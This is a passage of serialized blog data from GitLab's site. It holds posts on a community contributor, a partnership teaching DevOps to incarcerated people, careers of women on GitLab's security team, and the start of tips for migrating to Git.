Here's a picture of me and the family repping with our GitLab merch!\n\n![The tickett family repping GitLab](https://about.gitlab.com/images/blogimages/lee-tickett-my-gitlab-journey/landing_page.png)\n",[110,267,4772,1444,815,4103,2368],{"slug":20809,"featured":6,"template":678},"lee-tickett-my-gitlab-journey","content:en-us:blog:lee-tickett-my-gitlab-journey.yml","Lee Tickett My Gitlab Journey","en-us/blog/lee-tickett-my-gitlab-journey.yml","en-us/blog/lee-tickett-my-gitlab-journey",{"_path":20815,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20816,"content":20822,"config":20826,"_id":20828,"_type":16,"title":20829,"_source":17,"_file":20830,"_stem":20831,"_extension":20},"/en-us/blog/thelastmile-gitlab",{"title":20817,"description":20818,"ogTitle":20817,"ogDescription":20818,"noIndex":6,"ogImage":20819,"ogUrl":20820,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20820,"schema":20821},"Inside the collaboration between GitLab and The Last Mile","GitLab teamed up with The Last Mile to bring open source DevOps and tech mentorship to incarcerated populations across the United States.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681743/Blog/Hero%20Images/tlm-blogpost-banner.png","https://about.gitlab.com/blog/thelastmile-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the collaboration between GitLab and The Last Mile\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-11-13\",\n      }",{"title":20817,"description":20818,"authors":20823,"heroImage":20819,"date":20805,"body":20824,"category":813,"tags":20825},[14215],"\n\n[The Last Mile (TLM)](https://thelastmile.org/), an organization focused on changing lives through technology, is tackling the daunting problem of mass incarceration in the United States by providing education and career training opportunities to incarcerated individuals to help break the generational cycle of incarceration. GitLab team members with similar passions and ideas connected with The Last Mile team and built a partnership to help bring the tech industry and mentorship directly to incarcerated individuals.\n\n## AMA to Coffee Chat to Partnership\n\nThe idea for TLM partnership originated during an AMA (or \"Ask Me Anything\" session) between GitLab CEO, [Sid Sijbrandij](/company/team/#sytses), and GitLab team members. [In one of these AMAs](https://www.youtube.com/watch?v=qi9zrymBO8o), [Tucker Logan](/company/team/#tuckcodes), a federal solutions architect at GitLab, asked Sid about the inspiration behind his [tweet](https://twitter.com/sytses/status/1227319454817804288) about mass incarceration. In a follow-up question, [Morgen Smith](/company/team/#msmith6), a sales development representative (SDR) for the Americas, asked Sid if GitLab would consider creating initiatives to help combat the school-to-prison pipeline.\n\nAs a former educator, Morgen has witnessed first-hand the national trend of disadvantaged youth being agressively disciplined in schools, which can then lead to juvenile offenses and later to formal charges. During the AMA, Morgen asked Sid: \"What do you think GitLab could do to encourage minority youth in this situation to be inspired by opportunities in tech?\" Sid shared his support and passion for the topic, and invited Morgen and Tyler to host an [open coffee chat](/company/culture/all-remote/informal-communication/#coffee-chats) on the topic to brainstorm ideas and next steps.\n\nDuring the coffee chat, Sid decided to take the smallest step, first. He visited San Quentin State Prison in San Rafael, Calif., and organized a call with Chris Redlitz, a co-founder of TLM. It turns out that TLM was using GitLab internally and also using the GitLab Community Edition to train nearly 300 students participating in their programs about how to use DevOps.\n\nTLM is a nonprofit program that started at San Quentin. TLM works with the incarcerated populations at men’s, women’s, and young adult correctional facilities to help them build relevant skills in technology with the goal of preparing individuals for successful reentry and building careers in business and technology. Today, TLM is in 23 classrooms across six states and has served 622 students since its inception.\n\n## TLM students learn DevOps with GitLab\n\nParticipants in TLM use the self-managed, free open core version of GitLab in their courses on Web Development. Each of the twenty individual classrooms have their own self-managed instance which around 20 students use to create and host their own private repositories. The sandbox environments are deployed centrally via Google Cloud. The core curriculum includes HTML/CSS and JavaScript, Node.js, Express.js, React.js, and Mongodb. GitLab is used primarily as a [source code management tool](/solutions/source-code-management/) for the students. Students write and commit code to personal repositories during course assignments. TLM Remote Instruction team also manages student-facing GitLab repositories to demonstrate industry best practices in merging, code collaboration, and version control platforms. Additionally, TLM leverages GitLab by providing students access to their repositories after they are released from prison, preserving commit history and all version control for the aspiring coders.\n\n\"By utilizing GitLab, The Last Mile students become comfortable using a best-in-class open source DevOps tool,\" says Tulio Cardozo, IT Manager, TLM. \"This experience empowers our students as aspiring software engineers, enabling them to enter the workforce with the collaboration and communication framework skills employers demand.\"\n\nThe GitLab team is partnering with the TLM Programs department to organize a series of webinars and workshops for the students. The first webinar kicked off in June of 2020 and was broadcast to 27 students (men, women, and youth programs), across four classrooms in several states. The topic was an introduction to GitLab and DevOps. Sid joined and shared the story of founding GitLab and his journey in tech. [Brendan O’Leary](/company/team/#brendan), a senior developer evangelist at GitLab, provided an overview of DevOps and explained how GitLab is the first single application for the entire DevOps lifecycle.\n\n\"The students appreciated the information on how to get started as new developers. Sid and Brendan helped the students believe they could accomplish anything with enough hard work,\" says a classroom facilitator from the Pendleton Youth Correctional Facility in Indiana.\n\nThe TLM team added that the webinar exposed students to a large company that works remotely and introduced them to an industry-recognized brand that the students use. In addition to the value of the content itself, there was a Q&A portion of the session where the studetns asked questions about the technology itself, such as how to start an open-source project and protecting intellectual property in open source, and about the facilitators' personal journey into tech.\n\nWatch the webinar with GitLab and TLM below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/ejHmvMjXJVU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn addition to the general workshop, the teams also collaborated on more technical content. The students at the Pendleton Juvenile Correctional Facility had a very special guest visit their [Web Development Fundamentals Course](https://thelastmile.org/our-work/), [Natalia Tepluhina](/company/team/#ntepluhina). Natalia, who currently lives in the Ukraine, is a frontend engineer at GitLab and also serves as a [core Vue.js team member](https://vuejs.org/v2/guide/team.html) and [core team member](/community/core-team/) of GitLab itself. Natalia answered a variety of questions about how to approach learning Javascript and provided a few demos related to specific questions from the students.\n\n## Mentorship for a career in DevOps\n\nGitLab and TLM also partnered on a series of Technical recruiting workshops with the classrooms. These have definitely been one of the highlights of the partnership thus far. In these workshops, a GitLab recruiter gave a presentation on the technical recruiting processes at GitLab, best practices during the application process and interview process, as well as an overview of what to expect during an interview. During each of the four sessions, the recruiters directly engaged with the participants, who asked a variety of questions, including:\n\n* How do I address incarceration on my resume?\n* What about background checks?\n* How do I gain professional experience while incarcerated?\n\nThe GitLab recruiting team was very sensitive to the participants' concerns and provided honest, clear answers, and great suggestions. The recruiters shared that during the process candidates should think of their recruiter as a resource, and they can always ask to speak to the People team at GitLab in confidence if it would help reassure them with any concerns they have regarding their criminal records. The recruiters encouraged the students to highlight their work in TLM courses on their resume and think about whether they can use course projects to start to build a portfolio. In addition, the facilitators encouraged participants to think about contributing to open source projects as a way to build technical skills, increase their network and mentorship opportunities.\n\n## How can open source help incarcerated populations gain experience in tech?\n\nThe discussion around contributing to open source projects as a way to build technical skills sparked a few different exciting ideas with the teams. One of these ideas was to hold a first time contributor workshop with alumni from TLM. The workshop was held in September 2020 had 16 alumni participants, four GitLab team members, including Sid, and five TLM team members. The workshop covered the basics on how to contribute to GitLab and demonstrated the step-by-step process. Participants were [provided an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/247284) with a list of simple fixes with the label [\"good-for-new-contributors\"](https://gitlab.com/groups/gitlab-org/-/labels?utf8=%E2%9C%93&subscribed=&search=good+for+new+contributors) in the GitLab docs or handbook with typos or other minor changes. We had a few merge requests after just a few hours of the workshop! Participants were encouraged to tag GitLab team members for recognition and to win a pair of tanuki socks – by the end of the week we had given away six pairs of socks.\n\nParticipants and instructors appreciated the opportunity to learn in a hands-on way during the workshop:\n\n\"Thank you for the opportunity to participate in the GitLab workshop. I am so grateful to the GitLab staff for taking the time to introduce those of us who are new to GitLab to the history and functionality of the company. I learned so much, not just about how I can utilize GitLab to accomplish personal tasks more efficiently, but also how I can contribute and collaborate more with others and contribute to my local and global communities.\" - TLM staff and alumna.\n\nThe GitLab team found the experience equally rewarding. \"Working with The Last Mile was such a rewarding experience! When I think about how our product takes in contributions from all over the world and knowing it is also leveraged by those currently and or previously incarcerated really shows how truly 'inclusive' Git can be. Additionally, the empowerment it offers and the gift of knowledge and skill that can't be taken away is invaluable,\" says [Candace Brydsong Williams](/company/team/#cwilliams3), manage of the Diversity, Inclusion and Belonging program at GitLab.\n\n## How TLM uses GitLab technology\n\nGitLab also provides free licenses of our top-tier hosted application for the TLM team, who use our DevOps technology in nearly every aspect of their operations.\n\nTLM transitioned from GitHub to GitLab in 2019 after we provided the licenses. Initially, GitLab was used primarily in TLM's engineering department to track all internal processes with issues and Wikis. Infrastructure as code data and internal information is stored in repositories. Soon, TLM adopted GitLab technology in their education and programs departments, where it is now being used for project management. TLM now uses sprint planning, milestones, issues, priority levels, burndown charts, and issues boards to streamline project management across their departments.\n\nThe Last Mile has introduced numerous new and distinct use cases for GitLab. These include:\n\n* Issues are used to manage classroom facilities including to keep track of the impacts of COVID-19 on each classroom. For example, status updates are recorded on the issue and in the comments.\n* [The Last Mile’s reentry program](https://thelastmile.org/our-work/#reentry) uses GitLab to track returned citizen onboarding and service delivery process as well as tracking internal workloads, task efforts, and collaboration across teams. To-do lists are used to manage actions and labels are used to view the status of various efforts.\n\n\"The GitLab platform provides The Last Mile with a remarkable range of solutions -- from our application of GitOps workflows for managing our hybrid infrastructure, to our org-wide application of issues across teams,\" says Mike Bowie, Director of Engineering, The Last Mile. \"By solving such a broad range of our needs, GitLab enables us to focus on delivering value into our programs, instead of administering and maintaining a plethora of disparate tools.\"\n",[815,4772,2368,676,1384],{"slug":20827,"featured":6,"template":678},"thelastmile-gitlab","content:en-us:blog:thelastmile-gitlab.yml","Thelastmile Gitlab","en-us/blog/thelastmile-gitlab.yml","en-us/blog/thelastmile-gitlab",{"_path":20833,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20834,"content":20840,"config":20845,"_id":20847,"_type":16,"title":20848,"_source":17,"_file":20849,"_stem":20850,"_extension":20},"/en-us/blog/breaking-into-security",{"title":20835,"description":20836,"ogTitle":20835,"ogDescription":20836,"noIndex":6,"ogImage":20837,"ogUrl":20838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20838,"schema":20839},"How to break into security","Oftentimes, the professional road to security practitioner is a windy one. We talk to 9 women from our Security team to see what their journey looked like.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670847/Blog/Hero%20Images/wocintechchat_blog1.jpg","https://about.gitlab.com/blog/breaking-into-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to break into security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-11-12\",\n      }",{"title":20835,"description":20836,"authors":20841,"heroImage":20837,"date":20842,"body":20843,"category":18484,"tags":20844},[12307],"2020-11-12","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis is post 1 of a 3 part series profiling several women in GitLab’s security organization.  See part two, [\"What’s it like to work in security at GitLab?\"](/blog/whats-it-like-to-work-security-at-gitlab/) and three, [\"Considering a career in security? Here’s some advice.\"](/blog/considering-a-career-in-security/).\n{: .note}\n\nBreaking into technology, and security, can be difficult for anyone. At GitLab [31% of our workforce identifies as women](/handbook/people-group/people-success-performance-indicators/#diversity---women-at-gitlab). In our security department we have nine team members who are women out of a total of 48 team members; that’s 19%.  Global women in tech numbers are around 21.4% according to [CNET](https://www.cnet.com/news/microsofts-first-in-depth-diversity-report-shows-progress-remains-slow/) and this recent study, [“Resetting Tech Culture”](https://www.accenture.com/us-en/blogs/accenture-research/why-tech-is-losing-women-just-when-we-need-them-the-most) indicates that young women who go into tech drop out by the age of 35.  How do we change this?  GitLab is looking to help encourage and support women in tech through our [outbound hiring model](/handbook/hiring/candidate/faq/), [tracking and working toward key metrics](/handbook/people-group/people-success-performance-indicators/#diversity---women-in-management), [inclusion training](/company/culture/inclusion/#diversity-inclusion--belonging-training-and-learning-opportunities), [team member resource groups](/company/culture/inclusion/erg-guide/#how-to-join-current-tmrgs-and-their-slack-channels), building and fostering an [inclusive remote culture](/company/culture/inclusion/building-diversity-and-inclusion/) and [mentorship programs](/company/culture/inclusion/erg-minorities-in-tech/mentoring/).\n\nWhen you’re planning your career and thinking about your professional or academic next steps, it helps to be able to understand the different paths that might take you where you want to go.  This is part 1 of a 3 part series where the 9 women in our Security department will share their backgrounds and experiences, a glimpse into their roles and responsibilities and offer up some tips and advice for those looking to work in tech, and quite possibly, the security industry.\n\n#### We asked: how did you get into security, what helped you *most* in getting to where you are, and how do you stay on top of your game?\n---\n\n### [Julia Lake](/company/team/#julia.lake) - Director, [Security Risk and Compliance](/handbook/security/#assure-the-customer---the-security-assurance-sub-department)\nJoined GitLab April 2020 / Connect with Julia on [LinkedIn](https://www.linkedin.com/in/julia-lake-16843740/)\n\n![Julia Lake](https://about.gitlab.com/images/blogimages/breaking-into-security/jlake_blog1.png){: .shadow.small.left.wrap-text}\n\n**What brought you to work in security?**\nI started my career in retail banking and, after being on the auditee side for a few years, developed an interest in becoming an auditor. So, I returned to school to pursue a degree in management information systems to ensure I had the necessary technical foundations and I began working in IT advisory for one of the big four firms directly after graduating. I’ve been working in security ever since, with additional focus in the privacy and quality domains.\n\n**What helped you *most* in getting to where you are?**\nHaving a professional mentor that proactively encouraged me to take on new challenges has been instrumental to my professional development.\n\n**How do you support your continual growth?**\nI maintain professional relationships with past industry colleagues, meet often with my mentor, proactively solicit feedback from my own leadership and staff, and subscribe to blogs, newsletters, webinars and training covering the field of audit and security from organizations like [MeriTalk](https://www.meritalk.com/news/emerging-tech/cyber-security/) and [ISACA](https://www.isaca.org/resources).\n\n\n### [Jennifer Blanco](/company/team/#jblanco2) - Sr. [Risk and Field Security](/handbook/security/security-assurance/field-security/) Analyst\nJoined GitLab June 2019 / Connect with Jennifer on [LinkedIn](https://www.linkedin.com/in/jenniferblanco1/)\n\n![Jennifer Blanco](https://about.gitlab.com/images/blogimages/breaking-into-security/jblanco_blog1.png){: .shadow.small.right.wrap-text}\n\n**What brought you to work in security?**\nI started my career as a paralegal in civil law for a firm that provided multiple areas of law. In this role I was tasked with building out the software workflow for my department; my first introduction to a technology business solution. A couple years later I moved to Seattle, Washington as I understood it to be an upcoming tech hub and applied for a role in which I could apply my experience. That company was DocuSign, and I’m proud to say I was the first Security Compliance employee ever hired there, back in 2012. I spent four years building out the customer assurance function, external audit programs and third-party risk for engineering dependencies.\n\n**What helped you *most* in getting to where you are?**\nThe customer assessments and audit work at DocuSign are hands-down the biggest propeller for my knowledge journey in Security. I was fortunate to have gotten exposure to, not only security practices, but also the deeply technical aspects of a company that managed their own bare metal infrastructure and networking within a datacenter--by the way, datacenters are SUPER cool if you ever have the opportunity to step foot inside.\n\n**How do you support your continual growth?**\nI have a bachelor’s in communications with an emphasis on research which helped sharpen my critical thinking skills. To strengthen my technical background and support my future goals, I'm currently working on Informatics core classes specializing in assurance and cybersecurity as prerequisites for either a master’s in data science or law degree; to be decided. Professionally, I've curated my path by joining companies where I could expand my knowledge within technology. I’ve also completed a number of bootcamps and training and generally keep up with innovation and industry news.\n\n\n### [Juliet Wanjohi](/company/team/#jwanjohi) - Security Engineer, [Security Automation](/handbook/security/security-engineering/automation/)\nJoined Joined GitLab May 2020 / Connect with Juliet on [LinkedIn](https://www.linkedin.com/in/juliet-wanjohi/) and [Twitter](https://twitter.com/jay_wanjohi)\n\n![Juliet Wanjohi](https://about.gitlab.com/images/blogimages/breaking-into-security/jwanjohl_blog1.png){: .shadow.small.left.wrap-text}\n\n**What brought you to work in security?**\nFrom a very young age, I’ve been interested in computers. When I joined high school, I decided to take computer studies and my teacher for this subject actually became my first mentor and role model as a woman in tech. I later joined the University of Nairobi to study my Bachelor’s in computer science, and as you can imagine, the ratio of women in comparison to men was highly imbalanced. However, being part of the minority did not discourage me and I decided to pursue a master of science degree in cybersecurity in the UK as I had an interest in learning how to protect software applications and build security tools. During my time there, I had the wonderful opportunity to be an [intern](https://about.gitlab.com/blog/what-its-like-to-intern-in-gitlab-security/) within the Security department at GitLab, and progress on to become a full-time security engineer with the team.\n\n**What helped you *most* in getting to where you are?**\nThough my journey into security may not be as long, what has helped me the most is having a network of people around me that support me and encourage me to do better. Cybersecurity is a very broad area and as I become familiar with the different domains and what interests me the most, it is important to have people to reach out to and ask questions no matter how simple the questions may sound to you. In addition, I often find myself to be the only woman/person of color/youngest person in the room. This, bundled with my shy personality, makes it a daunting task to ask questions sometimes. However, I tell myself to be confident in my knowledge and believe in myself. Having this confidence and getting answers to these questions is what will help me to evolve and grow professionally!\n\n**How do you support your continual growth?**\nKeeping in touch with mentors who help me map out my career path and offer feedback is definitely an important support factor for me. Additionally, I enjoy reading blogs by [Troy Hunt](https://www.troyhunt.com/) and [Bruce Schneier](https://www.schneier.com/), listening to podcasts such as [Smashing Security](https://www.smashingsecurity.com/), and attending conferences like [BlackHat](https://www.blackhat.com/) that offer an opportunity to network with diverse groups of people and learn about their experiences in security.\n\n\n### [Kristie Thomas](/company/team/#kristie.thomas) - [Executive Business Administrator](/handbook/eba/)\nJoined GitLab February 2018 / Connect with Kristie on [LinkedIn](https://www.linkedin.com/in/kristiemcgoldrick/)\n\n![Kristie Thomas](https://about.gitlab.com/images/blogimages/breaking-into-security/kthomas_blog1.png){: .shadow.small.right.wrap-text}\n\n**What brought you to work in security?**\nI got started in tech a few years after I graduated from college with a bachelor’s in communications. I knew nothing about technology, business or what my 10 year plan was. I loved experiencing a start-up and felt at home in the fast-paced environment. I grew in my role and saw multiple paths I could take in the industry. In the last 4 years prior to becoming an executive business administrator (EBA), my jobs were more technical. I spent a lot of time writing SQL queries and troubleshooting CI pipelines. I felt pressure to be technical, even though I didn’t enjoy it. I made a list of what I liked and didn’t like, and realized the perfect fit for me would be to move into an EBA role and support the engineering teams at GitLab, allowing me to broaden my skillset while still being involved in technical work, at times. I can truly say that my role as an EBA at GitLab is perfect for me and has exceeded my expectations in many ways.\n\n**What helped you *most* in getting to where you are?**\nIt has always been important for me to be in tune with myself and know what fulfills and exhausts me. Before transitioning to my current role, I took on the exercise of listing and organizing the things I enjoyed and disliked about previous roles and was able to clearly identify what the right position for me would look like. Thankfully, the path I had been on led me to my current role. I’ve always been a curious person and I enjoy engaging with others. I feel fulfilled when others succeed and I am driven to help people meet their goals. I get to do that every day at GitLab, and this role has allowed me to interact with hundreds of team members and form professional relationships. Because I attend a variety of meetings and help with a handful of projects, I get to learn new aspects of the business on a daily basis and am energized by my work.\n\n**How do you support your continual growth?**\nI believe that growth comes from taking care of yourself. I have to prioritize non-work things to succeed at my job. A GitLab colleague recommended the book [Designing Your Life](https://designingyour.life/the-book/) and I have used its principles to find balance, meaning and joy. Along with a lot of self-care, I prioritize a few monthly 1:1s with mentors outside of GitLab.  Talking to others at various stages in their career and getting advice on current challenges has helped me grow, try new things, and solve problems in unique ways. I also feel comfortable making mistakes because this gives me the opportunity to try again with wisdom learned along the way.\n\n\n### [Liz Coleman](/company/team/#lcoleman) - Sr. Security Analyst, [Compliance](/handbook/security/security-assurance/security-compliance/ )\nJoined GitLab January 2020 / Connect with Liz on [LinkedIn](https://www.linkedin.com/in/elizabeth-coleman-5779418b/)\n\n![Liz Coleman](https://about.gitlab.com/images/blogimages/breaking-into-security/lcoleman_blog1.png){: .shadow.small.left.wrap-text}\n\n**What brought you to work in security?**\nThe twists and turns of life are what really guided me to security. It was not something I initially sought out from an educational or professional perspective. In fact, I originally intended to go into politics which took a turn into government compliance and ultimately, information technology and security as it relates to compliance. However I’ve realized over the course of my career that although they are different buckets of work, they are all interconnected in so many ways.\n\n**What helped you *most* in getting to where you are?**\nOne big thing that has helped me to get to this point in my career is being able to identify synergies between my past experiences and new opportunities, and finding those organizations who are able to see how my expertise can span beyond silos. I’ve found that I may have more experience from a compliance perspective but it can apply to auditing. Or understanding IT processes can assist with security initiatives. I don’t think you can go wrong with working hard, being open to learning and trying to surround yourself with quality people that can see your value even if your resume doesn’t 100% match the job description.\n\n**How do you support your continual growth?**\nI obtain, at a minimum, 40 continuing professional education (CPE) credits a year. Typically these are obtained through webinars, e-learning, conferences (pre-Covid), and signing up for anything that I think might be interesting. I also attend [GitLab Commit](/events/commit/)! It’s one of the best opportunities to further immerse myself in all things GitLab and learn about areas of the business that I don’t tend to focus on.\n\n\n### [Meghan Maneval](/company/team/#mmaneval20) - Manager, [Risk and Field Security](/handbook/security/security-assurance/field-security/)\nJoined GitLab July 2020 / Connect with Meghan on [LinkedIn](https://www.linkedin.com/in/meghanmaneval/)\n\n![Meghan Maneval](https://about.gitlab.com/images/blogimages/breaking-into-security/mmaneval_blog1.png){: .shadow.small.right.wrap-text}\n\n**What brought you to work in security?**\nAfter I graduated with a bachelor’s degree in management of technology, I pretty much applied for as many jobs as I could that related to technology. I ended up being offered a job as an IT auditor for an insurance company. After working there for some time, I obtained my master’s in business administration and got the opportunity to lead a dynamic team of auditors and Security Analysts. It was at that point that I realized I wanted to know more about security and pivoted into security compliance.\n\n**What helped you *most* in getting to where you are?**\nHaving a strong mentor that I can speak candidly with. A lot of people think a mentor is the same as your boss, but it’s not. Having an independent person that you can be open and honest with is key. They can guide you through tough situations and provide opportunities to grow.\n\n**How do you support your continual growth?**\nI make it a point to participate in industry events and webinars where I can network and learn from others in my field. In particular, I enjoy attending [ISACA Webinars](https://www.isaca.org/) as they directly relate to my role in governance, risk and compliance. I also really enjoy more vendor-specific user conferences like [Cisco LIVE](https://www.ciscolive.com/) because they generally have tracks specific to security or risk management and it gives great insight into how others use the same tools I do. I also love to read and enjoy reading retrospectives of security incidents and lessons learned from past security events.\n\n\n### [Mitra Jozenazemian](/company/team/#mjozenazemian) - Senior Security Engineer, [Security Incident Response Team](https://handbook.gitlab.com/job-families/security/security-engineer/#sirt---security-incident-response-team)\nJoined GitLab July 2020 / Connect with Mitra on [LinkedIn](https://www.linkedin.com/in/mitra-jozenazemian-0a05233b)\n\n![Mitra Jozenazemian](https://about.gitlab.com/images/blogimages/breaking-into-security/mjozenazemian_blog1.png){: .shadow.small.left.wrap-text}\n\n**What brought you to work in security?**\nI got my bachelor’s degree in information technology. During my studies, I had a security course where I learned about hacking and how to secure systems against hackers. The course made me feel like I was a detective.  As a result of that course, I developed a passion for security so I pursued a master’s in information security and started working as a security engineer in 2010.\n\n**What helped you *most* in getting to where you are?**\nBe open to new experiences. In 2013 a mentor at my university asked me to join his team as a computer forensics researcher and trainer. Before that I’d never done forensic analysis. To prepare, I started to learn how to collect and examine volatile data on a live system while responding to an incident so that I could later teach it. I found it so interesting that I stayed awake for nights and studied and analysed memory/disk images. After that experience, I knew I would love to work on a security team, responding to incidents and trying to find clues of what has happened among the collected evidence.\n\n**How do you support your continual growth?**\nI am always excited for new challenges and the opportunity to participate in something outside of my comfort zone.  I also try to stay up-to-date through IT related newsletters, webinars and training such as [SANS courses](https://www.sans.org/cyber-security-courses/).\n\n\n### [Rupal Shah](/company/team/#rcshah) - Analyst, [Security Compliance](/handbook/security/#security-compliance)\nJoined GitLab October 2020 / Connect with Rupal on [LinkedIn](https://www.linkedin.com/in/rupal-shah-57a384/)\n\n![Rupal Shah](https://about.gitlab.com/images/blogimages/breaking-into-security/rshah_blog1.png){: .shadow.small.right.wrap-text}\n\n**What brought you to work in security?**\nI definitely did not enter the world of Security in a traditional way. I graduated with a MIS (management information systems) degree, but never really pursued it.  I started my career doing customer integrations from an in-house product to a SaaS application and then moved to customer support which led into IT project management.  I was approached with the opportunity to build out and lead a compliance program for SOX (based off of my project management and organizational skills) and that’s how I started my career in compliance and security; literally learning from the ground up!\n\n**What helped you *most* in getting to where you are?**\nBeing a team of only 1.5 for all things related to SaaS-based IT compliance allowed me the opportunity to learn everything about governance, risk and compliance and really get my feet wet.  Building out an entire program to manage SOX, SOC2, risk assessments, third-party vendor security management, etc programs from scratch allowed me to focus on my growth potential and career progression.\n\n**How do you support your continual growth?**\nI try to give myself as much exposure as I can by subscribing to many blogs/newsletters/webinars and attending trainings/conferences when I have the time.  The [Women in Cybersecurity](https://www.wicys.org/) is a great event. I’d also recommend reviewing this [virtual cybersecurity event list from Digital Guardian](https://digitalguardian.com/blog/top-50-must-attend-information-security-conferences). Included in my reading list are [revsec](https://www.revsec.com/blog), [threatstack](https://www.threatstack.com/blog), [csoonline](https://www.csoonline.com/) and [darkreading](https://www.darkreading.com/). I also try to learn about how other parts of the organization function and to identify areas that are lacking; where opportunities to improve security from the lens of the organization and not just a specific department or project may exist. Lastly, staying in touch with my mentor (a previous manager) has enabled my knowledge growth and provided constructive feedback--which makes me work harder and learn from my mistakes.\n\n\n### [Heather Simpson](/company/team/#heather) - Senior External Communications Analyst, [Security Engineering ](/handbook/security/security-engineering/)\nJoined GitLab February 2019 / Connect with Heather on [LinkedIn](https://www.linkedin.com/in/heathersimpson700/) and [Twitter](https://twitter.com/heatherswall)\n\n![Heather Simpson](https://about.gitlab.com/images/blogimages/breaking-into-security/hsimpson_blog1.png){: .shadow.small.left.wrap-text}\n\n**What brought you to work in security?**\nSpoiler alert!  I don’t have a “technical” background and I don’t have even a handful of years working in security.  What I do have is two bachelor’s degrees: international communications and Spanish, a master of science in marketing and close to 15 years experience working in tech.  I came to GitLab from a large IT integrator where I led marketing communications efforts for the office of the CTO. I found that I enjoy collaborating directly with deeply technical folks on marketing initiatives that shine a light on the awesomeness that is their expertise and work.  I’m one of few marketing or communications roles at GitLab that sit directly within the business. This helps me maintain a deeper understanding of the programs, processes and technology we use and the people that make them successful. And, I can always count on my security team members to help me break down the complex and patiently answer my many, many questions so I can gain clarity that I hope is reflected in our external communications.\n\n**What helped you *most* in getting to where you are?**\nI’ve always enjoyed a challenge, which has led me to tackle new roles and new subject matters and areas within the tech industry. It's also given me a love for building new marketing, communications and engagement programs and processes from the ground up.\n\n**How do you support your continual growth?**\nIs twitter an answer? 😆\nI ❤️ reading and try to read at least 60 books each year. I also try and consume as much as I can on platforms like Twitter, LinkedIn and HackerNews around marketing and/or devops and security topics. I appreciate the [Hootsuite blog](https://blog.hootsuite.com/) and Ann Handley's [Total Anarchy](https://archive.aweber.com/totalannarchy) newsletter for marketing topics and try and stay on top of the feeds from many of our bug bounty hunters through this [twitter list](https://twitter.com/i/lists/1296163368252956672). Staying abreast of trends helps me stay sharp even when I’m not regularly or directly practicing those skillsets in a current role.\n\nCover image by [#WOCinTech Chat](https://www.wocintechchat.com/).\n{: .note}\n\n",[674,676],{"slug":20846,"featured":6,"template":678},"breaking-into-security","content:en-us:blog:breaking-into-security.yml","Breaking Into Security","en-us/blog/breaking-into-security.yml","en-us/blog/breaking-into-security",{"_path":20852,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20853,"content":20859,"config":20863,"_id":20865,"_type":16,"title":20866,"_source":17,"_file":20867,"_stem":20868,"_extension":20},"/en-us/blog/migrating-your-version-control-to-git",{"title":20854,"description":20855,"ogTitle":20854,"ogDescription":20855,"noIndex":6,"ogImage":20856,"ogUrl":20857,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20857,"schema":20858},"Migrating your version control to Git? Here’s what you need to know","Change is hard, but moving to Git doesn’t have to be if you read these tips.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681731/Blog/Hero%20Images/migrategit.jpg","https://about.gitlab.com/blog/migrating-your-version-control-to-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrating your version control to Git? Here’s what you need to know\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-11-12\",\n      }",{"title":20854,"description":20855,"authors":20860,"heroImage":20856,"date":20842,"body":20861,"category":8943,"tags":20862},[20767],"\n\nDeciding to make sweeping changes that’ll affect your entire organization is a nerve-wracking experience, because until you see the change in action, you don’t know whether it’ll be a success or a disaster. Migrating from one [version control](/topics/version-control/) to Git is just that type of change that can make team members and leaders feel overwhelmed. However, advanced knowledge helps teams prepare and transition more smoothly. Here are a few tips to help you make the change.\n\n## Keep your previous version control system\n\nIf you perform a tip migration and copy over only the most recent commits, teams will still need access to the previous version control to consult project history. Set the old version control system to read-only and place a breadcrumb trail in Git to help developers find the information they need in the previous version control. Retaining the old version control preserves history and enables new team members to find important information, which may be lost as veteran contributors move to different roles or forget code specifics.\n\n## Clone your previous version control\n\nBefore making a sudden shift to a new version control, create a mirror of your previous system to test out whether your current processes work with Git or you need to make adjustments. Continuous integration, code review, security testing, and release processes should all be tested with the clone so that the complications can be remedied before the entire workflow breaks down.\n\n## Invest in learning Git\n\nAlthough Git is the most popular and widely-used version control, it’s also known for its initial degree of difficulty. Developers who are new to Git may struggle with the command line and find [branching](https://learngitbranching.js.org/) tedious and confusing. Despite Git’s learning curve, its positive impact on productivity and code quality is worth the trouble, and teams can cope with these challenges by investing in training or identifying Git experts within the team to coach others. Team members may find it easier to work with a [GUI](https://git-scm.com/downloads/guis) rather than the command line, so using a strong tool could help ease the transition.\n\n## Identify a branching strategy\n\n![A diagram of colorful blocks representing code with connecting lines to represent branches and the flow](https://about.gitlab.com/images/blogimages/illustration_feature-branches.png){: .shadow.small.left.wrap-text}\n\nBefore [migrating to Git](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Migrating-to-Git), it’s imperative to select a branching strategy and train the team on its specifics. Git is a distributed version control system and offers unparalleled workflow flexibility, which can either streamline or convolute development depending on whether a team identifies a single branching strategy. Without a strategy, team members could interfere with each other’s work and ship unfinished features. Collaborating through a single workflow keeps the codebase clean and helps team members maintain velocity. Git enables teams to approach software development through a variety of workflows to meet specific needs. Some branching strategies, such as [GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html), are more straightforward than others, so it’s important to research your team’s needs before 